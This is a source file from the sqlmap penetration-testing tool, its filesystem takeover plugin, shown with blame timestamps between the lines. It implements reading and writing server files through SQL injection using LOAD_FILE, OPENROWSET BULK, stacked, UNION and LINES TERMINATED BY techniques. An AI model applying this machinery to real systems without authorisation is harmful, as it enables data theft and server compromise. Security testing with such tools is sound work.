2019-05-08 12:47:52 +02:00
#!/usr/bin/env python
2008-10-15 15:38:22 +00:00
"""
2024-01-03 23:11:52 +01:00
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
2017-10-11 14:50:46 +02:00
See the file ' LICENSE ' for copying permission
2008-10-15 15:38:22 +00:00
"""
2019-05-03 13:48:41 +02:00
import codecs
2009-04-22 11:48:07 +00:00
import os
2015-07-26 16:34:11 +02:00
import sys
2009-04-22 11:48:07 +00:00
from lib . core . agent import agent
2011-01-28 16:36:09 +00:00
from lib . core . common import Backend
2014-12-02 10:29:09 +01:00
from lib . core . common import checkFile
2019-06-04 14:44:06 +02:00
from lib . core . common import dataToOutFile
2013-01-08 10:23:02 +01:00
from lib . core . common import decloakToTemp
2019-05-03 13:20:15 +02:00
from lib . core . common import decodeDbmsHexValue
2012-06-14 13:38:53 +00:00
from lib . core . common import isListLike
2019-06-04 14:44:06 +02:00
from lib . core . common import isNumPosStrValue
2013-02-13 09:57:16 +01:00
from lib . core . common import isStackingAvailable
2010-12-18 15:57:47 +00:00
from lib . core . common import isTechniqueAvailable
2009-04-22 11:48:07 +00:00
from lib . core . common import readInput
2019-03-28 16:04:38 +01:00
from lib . core . compat import xrange
2019-07-12 12:18:56 +02:00
from lib . core . convert import encodeBase64
from lib . core . convert import encodeHex
2019-05-03 13:48:41 +02:00
from lib . core . convert import getText
2019-05-06 00:54:21 +02:00
from lib . core . convert import getUnicode
2010-03-26 23:23:25 +00:00
from lib . core . data import conf
2012-07-06 14:24:44 +02:00
from lib . core . data import kb
2009-04-22 11:48:07 +00:00
from lib . core . data import logger
2012-04-04 09:25:05 +00:00
from lib . core . enums import CHARSET_TYPE
2019-06-04 14:44:06 +02:00
from lib . core . enums import DBMS
2012-04-04 09:25:05 +00:00
from lib . core . enums import EXPECTED
2010-12-18 15:57:47 +00:00
from lib . core . enums import PAYLOAD
2012-12-06 14:14:19 +01:00
from lib . core . exception import SqlmapUndefinedMethod
2016-06-19 17:44:47 +02:00
from lib . core . settings import UNICODE_ENCODING
2009-04-22 11:48:07 +00:00
from lib . request import inject
2008-10-15 15:38:22 +00:00
2019-05-29 16:42:04 +02:00
class Filesystem ( object ) :
2008-10-15 15:38:22 +00:00
"""
This class defines generic OS file system functionalities for plugins.
"""
2009-04-22 11:48:07 +00:00
def __init__ ( self ) :
2019-08-13 15:22:02 +02:00
self . fileTblName = " %s file " % conf . tablePrefix
2011-04-30 13:20:05 +00:00
self . tblField = " data "
2009-04-22 11:48:07 +00:00
2012-12-18 17:49:18 +00:00
def _checkFileLength ( self , localFile , remoteFile , fileRead = False ) :
2011-04-30 14:54:29 +00:00
if Backend . isDbms ( DBMS . MYSQL ) :
2014-08-16 14:23:07 +02:00
lengthQuery = " LENGTH(LOAD_FILE( ' %s ' )) " % remoteFile
2009-04-22 11:48:07 +00:00
2013-01-14 13:43:03 +00:00
elif Backend . isDbms ( DBMS . PGSQL ) and not fileRead :
2015-07-24 14:56:45 +02:00
lengthQuery = " SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid= %d " % self . oid
2009-04-22 11:48:07 +00:00
2011-04-30 14:54:29 +00:00
elif Backend . isDbms ( DBMS . MSSQL ) :
2013-01-07 16:36:29 +01:00
self . createSupportTbl ( self . fileTblName , self . tblField , " VARBINARY(MAX) " )
2018-03-13 13:45:42 +01:00
inject . goStacked ( " INSERT INTO %s ( %s ) SELECT %s FROM OPENROWSET(BULK ' %s ' , SINGLE_BLOB) AS %s ( %s ) " % ( self . fileTblName , self . tblField , self . tblField , remoteFile , self . fileTblName , self . tblField ) )
2009-04-22 11:48:07 +00:00
lengthQuery = " SELECT DATALENGTH( %s ) FROM %s " % ( self . tblField , self . fileTblName )
2015-11-20 17:01:41 +01:00
try :
localFileSize = os . path . getsize ( localFile )
except OSError :
warnMsg = " file ' %s ' is missing " % localFile
2022-06-22 12:04:34 +02:00
logger . warning ( warnMsg )
2015-11-20 17:01:41 +01:00
localFileSize = 0
2009-04-22 11:48:07 +00:00
2013-01-14 12:22:15 +00:00
if fileRead and Backend . isDbms ( DBMS . PGSQL ) :
2015-09-03 10:19:59 +02:00
logger . info ( " length of read file ' %s ' cannot be checked on PostgreSQL " % remoteFile )
2013-01-14 12:22:15 +00:00
sameFile = True
2009-04-22 11:48:07 +00:00
else :
2015-09-03 10:19:59 +02:00
logger . debug ( " checking the length of the remote file ' %s ' " % remoteFile )
2013-01-14 12:22:15 +00:00
remoteFileSize = inject . getValue ( lengthQuery , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
sameFile = None
if isNumPosStrValue ( remoteFileSize ) :
2019-03-28 15:14:16 +01:00
remoteFileSize = int ( remoteFileSize )
2016-06-19 17:44:47 +02:00
localFile = getUnicode ( localFile , encoding = sys . getfilesystemencoding ( ) or UNICODE_ENCODING )
2013-01-14 12:22:15 +00:00
sameFile = False
if localFileSize == remoteFileSize :
sameFile = True
2015-09-03 10:19:59 +02:00
infoMsg = " the local file ' %s ' and the remote file " % localFile
2015-09-03 10:32:22 +02:00
infoMsg + = " ' %s ' have the same size ( %d B) " % ( remoteFile , localFileSize )
2013-01-14 12:22:15 +00:00
elif remoteFileSize > localFileSize :
2015-09-03 10:32:22 +02:00
infoMsg = " the remote file ' %s ' is larger ( %d B) than " % ( remoteFile , remoteFileSize )
2015-09-03 10:19:59 +02:00
infoMsg + = " the local file ' %s ' ( %d B) " % ( localFile , localFileSize )
2013-01-14 12:22:15 +00:00
else :
2015-09-03 10:32:22 +02:00
infoMsg = " the remote file ' %s ' is smaller ( %d B) than " % ( remoteFile , remoteFileSize )
infoMsg + = " file ' %s ' ( %d B) " % ( localFile , localFileSize )
2013-01-14 12:22:15 +00:00
logger . info ( infoMsg )
else :
sameFile = False
2014-08-21 00:32:15 +02:00
warnMsg = " it looks like the file has not been written (usually "
2016-05-24 12:30:01 +02:00
warnMsg + = " occurs if the DBMS process user has no write "
2014-08-21 00:32:15 +02:00
warnMsg + = " privileges in the destination path) "
2022-06-22 12:04:34 +02:00
logger . warning ( warnMsg )
2009-04-22 11:48:07 +00:00
2012-04-25 07:40:42 +00:00
return sameFile
2009-04-22 11:48:07 +00:00
def fileToSqlQueries ( self , fcEncodedList ) :
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system
"""
2011-04-30 13:20:05 +00:00
counter = 0
2009-04-22 11:48:07 +00:00
sqlQueries = [ ]
for fcEncodedLine in fcEncodedList :
if counter == 0 :
sqlQueries . append ( " INSERT INTO %s ( %s ) VALUES ( %s ) " % ( self . fileTblName , self . tblField , fcEncodedLine ) )
else :
2013-01-08 10:55:25 +01:00
updatedField = agent . simpleConcatenate ( self . tblField , fcEncodedLine )
2009-04-22 11:48:07 +00:00
sqlQueries . append ( " UPDATE %s SET %s = %s " % ( self . fileTblName , self . tblField , updatedField ) )
counter + = 1
return sqlQueries
2015-07-24 14:56:45 +02:00
def fileEncode ( self , fileName , encoding , single , chunkSize = 256 ) :
2009-04-22 11:48:07 +00:00
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system
"""
2017-01-31 14:00:12 +01:00
checkFile ( fileName )
2012-12-23 19:34:35 +01:00
with open ( fileName , " rb " ) as f :
2015-07-24 14:56:45 +02:00
content = f . read ( )
return self . fileContentEncode ( content , encoding , single , chunkSize )
def fileContentEncode ( self , content , encoding , single , chunkSize = 256 ) :
retVal = [ ]
2019-07-12 12:18:56 +02:00
if encoding == " hex " :
content = encodeHex ( content )
elif encoding == " base64 " :
content = encodeBase64 ( content )
else :
content = codecs . encode ( content , encoding )
content = getText ( content ) . replace ( " \n " , " " )
2009-04-22 11:48:07 +00:00
2010-01-02 02:02:12 +00:00
if not single :
2015-07-24 14:56:45 +02:00
if len ( content ) > chunkSize :
for i in xrange ( 0 , len ( content ) , chunkSize ) :
_ = content [ i : i + chunkSize ]
2009-04-22 11:48:07 +00:00
if encoding == " hex " :
2012-07-24 14:35:56 +02:00
_ = " 0x %s " % _
elif encoding == " base64 " :
_ = " ' %s ' " % _
2009-04-22 11:48:07 +00:00
2012-07-24 14:35:56 +02:00
retVal . append ( _ )
2009-04-22 11:48:07 +00:00
2012-07-24 14:35:56 +02:00
if not retVal :
2009-04-22 11:48:07 +00:00
if encoding == " hex " :
2012-07-24 14:35:56 +02:00
content = " 0x %s " % content
2009-04-22 11:48:07 +00:00
elif encoding == " base64 " :
2012-07-24 14:35:56 +02:00
content = " ' %s ' " % content
2009-04-22 11:48:07 +00:00
2013-01-10 11:54:07 +01:00
retVal = [ content ]
2009-04-22 11:48:07 +00:00
2012-07-24 14:35:56 +02:00
return retVal
2009-04-22 11:48:07 +00:00
2013-01-23 01:27:01 +00:00
def askCheckWrittenFile ( self , localFile , remoteFile , forceCheck = False ) :
2017-04-18 15:48:05 +02:00
choice = None
2013-01-23 02:10:38 +00:00
2013-01-23 01:27:01 +00:00
if forceCheck is not True :
message = " do you want confirmation that the local file ' %s ' " % localFile
message + = " has been successfully written on the back-end DBMS "
2015-09-03 10:19:59 +02:00
message + = " file system ( ' %s ' )? [Y/n] " % remoteFile
2017-04-18 15:48:05 +02:00
choice = readInput ( message , default = ' Y ' , boolean = True )
2012-12-18 17:49:18 +00:00
2017-04-18 15:48:05 +02:00
if forceCheck or choice :
2012-12-18 17:49:18 +00:00
return self . _checkFileLength ( localFile , remoteFile )
return True
def askCheckReadFile ( self , localFile , remoteFile ) :
2019-06-27 17:28:43 +02:00
if not kb . bruteMode :
message = " do you want confirmation that the remote file ' %s ' " % remoteFile
message + = " has been successfully downloaded from the back-end "
message + = " DBMS file system? [Y/n] "
2009-04-22 11:48:07 +00:00
2019-06-27 17:28:43 +02:00
if readInput ( message , default = ' Y ' , boolean = True ) :
return self . _checkFileLength ( localFile , remoteFile , True )
2012-04-25 07:40:42 +00:00
2012-12-19 13:42:56 +00:00
return None
2009-04-22 11:48:07 +00:00
2012-12-18 17:49:18 +00:00
def nonStackedReadFile ( self , remoteFile ) :
2012-07-06 15:13:50 +01:00
errMsg = " ' nonStackedReadFile ' method must be defined "
2010-03-22 22:57:57 +00:00
errMsg + = " into the specific DBMS plugin "
2013-01-03 23:20:55 +01:00
raise SqlmapUndefinedMethod ( errMsg )
2010-03-22 22:57:57 +00:00
2012-12-18 17:49:18 +00:00
def stackedReadFile ( self , remoteFile ) :
2011-04-30 13:20:05 +00:00
errMsg = " ' stackedReadFile ' method must be defined "
2010-03-22 22:57:57 +00:00
errMsg + = " into the specific DBMS plugin "
2013-01-03 23:20:55 +01:00
raise SqlmapUndefinedMethod ( errMsg )
2010-03-22 22:57:57 +00:00
2013-02-14 13:18:33 +00:00
def unionWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
2011-04-30 13:20:05 +00:00
errMsg = " ' unionWriteFile ' method must be defined "
2010-03-22 22:57:57 +00:00
errMsg + = " into the specific DBMS plugin "
2013-01-03 23:20:55 +01:00
raise SqlmapUndefinedMethod ( errMsg )
2010-03-22 22:57:57 +00:00
2013-02-14 13:18:33 +00:00
def stackedWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
2011-04-30 13:20:05 +00:00
errMsg = " ' stackedWriteFile ' method must be defined "
2010-03-22 22:57:57 +00:00
errMsg + = " into the specific DBMS plugin "
2013-01-03 23:20:55 +01:00
raise SqlmapUndefinedMethod ( errMsg )
2010-03-22 22:57:57 +00:00
2019-06-03 10:41:51 +02:00
def readFile ( self , remoteFile ) :
2012-12-19 14:12:09 +00:00
localFilePaths = [ ]
2009-04-22 11:48:07 +00:00
self . checkDbmsOs ( )
2019-06-03 10:41:51 +02:00
for remoteFile in remoteFile . split ( ' , ' ) :
2012-12-19 14:12:09 +00:00
fileContent = None
2012-12-18 17:55:21 +00:00
kb . fileReadMode = True
2012-07-06 14:24:44 +02:00
2013-02-13 09:57:16 +01:00
if conf . direct or isStackingAvailable ( ) :
if isStackingAvailable ( ) :
2023-04-11 14:19:39 +02:00
debugMsg = " going to try to read the file with stacked query SQL "
2012-12-18 17:55:21 +00:00
debugMsg + = " injection technique "
logger . debug ( debugMsg )
fileContent = self . stackedReadFile ( remoteFile )
elif Backend . isDbms ( DBMS . MYSQL ) :
2023-04-11 14:19:39 +02:00
debugMsg = " going to try to read the file with non-stacked query "
2012-12-18 17:55:21 +00:00
debugMsg + = " SQL injection technique "
2010-03-26 23:23:25 +00:00
logger . debug ( debugMsg )
2009-04-22 11:48:07 +00:00
2012-12-18 17:55:21 +00:00
fileContent = self . nonStackedReadFile ( remoteFile )
else :
errMsg = " none of the SQL injection techniques detected can "
errMsg + = " be used to read files from the underlying file "
errMsg + = " system of the back-end %s server " % Backend . getDbms ( )
logger . error ( errMsg )
2012-07-06 15:13:50 +01:00
2012-12-19 14:12:09 +00:00
fileContent = None
2011-02-06 15:23:27 +00:00
2012-12-18 17:55:21 +00:00
kb . fileReadMode = False
2009-04-22 11:48:07 +00:00
2012-12-18 17:55:21 +00:00
if fileContent in ( None , " " ) and not Backend . isDbms ( DBMS . PGSQL ) :
self . cleanup ( onlyFileTbl = True )
elif isListLike ( fileContent ) :
newFileContent = " "
2009-04-22 11:48:07 +00:00
2012-12-18 17:55:21 +00:00
for chunk in fileContent :
if isListLike ( chunk ) :
if len ( chunk ) > 0 :
chunk = chunk [ 0 ]
else :
chunk = " "
2009-07-09 11:50:15 +00:00
2012-12-18 17:55:21 +00:00
if chunk :
newFileContent + = chunk
2009-07-09 11:50:15 +00:00
2012-12-18 17:55:21 +00:00
fileContent = newFileContent
2009-07-09 11:50:15 +00:00
2012-12-19 14:12:09 +00:00
if fileContent is not None :
2019-05-03 13:20:15 +02:00
fileContent = decodeDbmsHexValue ( fileContent , True )
2009-04-22 11:48:07 +00:00
2019-06-27 17:28:43 +02:00
if fileContent . strip ( ) :
2012-12-21 10:51:35 +01:00
localFilePath = dataToOutFile ( remoteFile , fileContent )
2009-04-22 11:48:07 +00:00
2012-12-21 10:51:35 +01:00
if not Backend . isDbms ( DBMS . PGSQL ) :
self . cleanup ( onlyFileTbl = True )
2012-12-19 13:42:56 +00:00
2012-12-21 10:51:35 +01:00
sameFile = self . askCheckReadFile ( localFilePath , remoteFile )
2009-04-22 11:48:07 +00:00
2012-12-21 10:51:35 +01:00
if sameFile is True :
localFilePath + = " (same file) "
elif sameFile is False :
localFilePath + = " (size differs from remote file) "
localFilePaths . append ( localFilePath )
2019-06-27 17:28:43 +02:00
elif not kb . bruteMode :
2012-12-21 10:51:35 +01:00
errMsg = " no data retrieved "
logger . error ( errMsg )
2012-12-18 17:49:18 +00:00
2012-12-19 14:12:09 +00:00
return localFilePaths
2009-04-22 11:48:07 +00:00
2013-01-23 01:27:01 +00:00
def writeFile ( self , localFile , remoteFile , fileType = None , forceCheck = False ) :
written = False
2014-12-02 10:29:09 +01:00
checkFile ( localFile )
2009-04-22 11:48:07 +00:00
self . checkDbmsOs ( )
2013-01-08 10:23:02 +01:00
if localFile . endswith ( ' _ ' ) :
2017-11-15 09:51:20 +01:00
localFile = getUnicode ( decloakToTemp ( localFile ) )
2013-01-07 15:55:40 +01:00
2013-02-13 09:57:16 +01:00
if conf . direct or isStackingAvailable ( ) :
if isStackingAvailable ( ) :
2015-09-03 10:19:59 +02:00
debugMsg = " going to upload the file ' %s ' with " % fileType
2018-09-06 00:59:29 +02:00
debugMsg + = " stacked query technique "
2010-03-26 23:23:25 +00:00
logger . debug ( debugMsg )
2008-10-15 15:38:22 +00:00
2013-01-23 01:27:01 +00:00
written = self . stackedWriteFile ( localFile , remoteFile , fileType , forceCheck )
2010-03-26 23:23:25 +00:00
self . cleanup ( onlyFileTbl = True )
2011-02-06 15:23:27 +00:00
elif isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) and Backend . isDbms ( DBMS . MYSQL ) :
2015-09-03 10:19:59 +02:00
debugMsg = " going to upload the file ' %s ' with " % fileType
2018-09-06 00:59:29 +02:00
debugMsg + = " UNION query technique "
2009-04-22 11:48:07 +00:00
logger . debug ( debugMsg )
2008-10-15 15:38:22 +00:00
2013-01-23 02:10:38 +00:00
written = self . unionWriteFile ( localFile , remoteFile , fileType , forceCheck )
2018-09-06 00:59:29 +02:00
elif Backend . isDbms ( DBMS . MYSQL ) :
debugMsg = " going to upload the file ' %s ' with " % fileType
debugMsg + = " LINES TERMINATED BY technique "
logger . debug ( debugMsg )
written = self . linesTerminatedWriteFile ( localFile , remoteFile , fileType , forceCheck )
2011-02-06 15:23:27 +00:00
else :
errMsg = " none of the SQL injection techniques detected can "
2011-02-06 15:28:23 +00:00
errMsg + = " be used to write files to the underlying file "
errMsg + = " system of the back-end %s server " % Backend . getDbms ( )
2011-02-06 15:23:27 +00:00
logger . error ( errMsg )
return None
2013-01-23 01:27:01 +00:00
return written